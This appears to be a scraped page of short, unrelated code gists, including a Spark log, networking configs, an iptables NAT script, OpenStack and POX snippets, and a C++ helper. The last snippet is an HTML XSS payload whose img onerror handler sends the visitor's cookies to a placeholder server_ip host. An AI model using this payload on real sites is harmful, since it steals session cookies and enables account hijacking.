This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Using Spark's default log4j profile: org/apache/spark/log4j-defaults.properties | |
15/05/28 15:16:22 INFO CoarseGrainedExecutorBackend: Registered signal handlers for [TERM, HUP, INT] | |
15/05/28 15:16:23 WARN NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable | |
15/05/28 15:16:23 INFO SecurityManager: Changing view acls to: hdfs | |
15/05/28 15:16:23 INFO SecurityManager: Changing modify acls to: hdfs | |
15/05/28 15:16:23 INFO SecurityManager: SecurityManager: authentication disabled; ui acls disabled; users with view permissions: Set(hdfs); users with modify permissions: Set(hdfs) | |
15/05/28 15:16:24 INFO Slf4jLogger: Slf4jLogger started | |
15/05/28 15:16:24 INFO Remoting: Starting remoting | |
15/05/28 15:16:24 INFO Remoting: Remoting started; listening on addresses :[akka.tcp://[email protected]:33398] | |
15/05/28 15:16:24 INFO Utils: Successfully started service 'driverPropsFetcher' on port 33398. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from __future__ import print_function | |
import sys | |
import os | |
import cv2 | |
import numpy as np | |
def extract_sift_features_opencv(imgfile_imgbytes): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## This is from neutron port-show command | |
neutron port-show e5e3906b-24d8-4642-9876-2ac06f984809 | |
+-----------------------+--------------------------------------------------------------------------------------+ | |
| Field | Value | | |
+-----------------------+--------------------------------------------------------------------------------------+ | |
| admin_state_up | True | | |
| allowed_address_pairs | | | |
| binding:host_id | node-7 | | |
| binding:profile | {} | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
config interface 'loopback' | |
option ifname 'lo' | |
option proto 'static' | |
option ipaddr '127.0.0.1' | |
option netmask '255.0.0.0' | |
config globals ' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
network_with_inet_access=wlan0 | |
private_natted_network=vboxnet1 | |
sudo iptables -t nat -A POSTROUTING -o $network_with_inet_access -j MASQUERADE | |
sudo iptables -A FORWARD -i $private_natted_network -o $network_with_inet_access -m state --state RELATED,ESTABLISHED -j ACCEPT | |
sudo iptables -A FORWARD -i $private_natted_network -o $network_with_inet_access -j ACCEPT |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
heat_template_version: 2013-05-23 | |
description: > | |
A HOT template that holds a VM instance booted from Volume where the image | |
is copied to the volume automatically. The VM does nothing, it is only created. | |
parameters: | |
key_name: | |
type: string | |
description: Name of an existing key pair to use for the instance |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
start on filesystem | |
stop on runlevel [016] | |
exec /usr/local/bin/sslocal -qq -c /etc/shadowsocks.json --fast-open |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
This component is for use with the OpenFlow tutorial. | |
This was modified to work as an l2 learning switch | |
It's quite similar to the one for NOX. Credit where credit due. :) | |
""" | |
from pox.core import core | |
import pox.openflow.libopenflow_01 as of |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Taken from http://stackoverflow.com/a/236803/376445 | |
#include <fstream> | |
#include <sstream> | |
#include <string> | |
#include <vector> | |
std::vector<std::string> &split(const std::string &s, char delim, std::vector<std::string> &elems) { | |
std::stringstream ss(s); | |
std::string item; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<div id="test"></div> | |
<img onerror=" | |
var get_params = window.location.search.replace('?', ''); | |
if (get_params.indexOf('redirected=1') == -1) { | |
window.location.replace('http://server_ip:8080/?cookies=' + document.cookie + '&next=' + window.location); | |
} | |
" src="#" /> |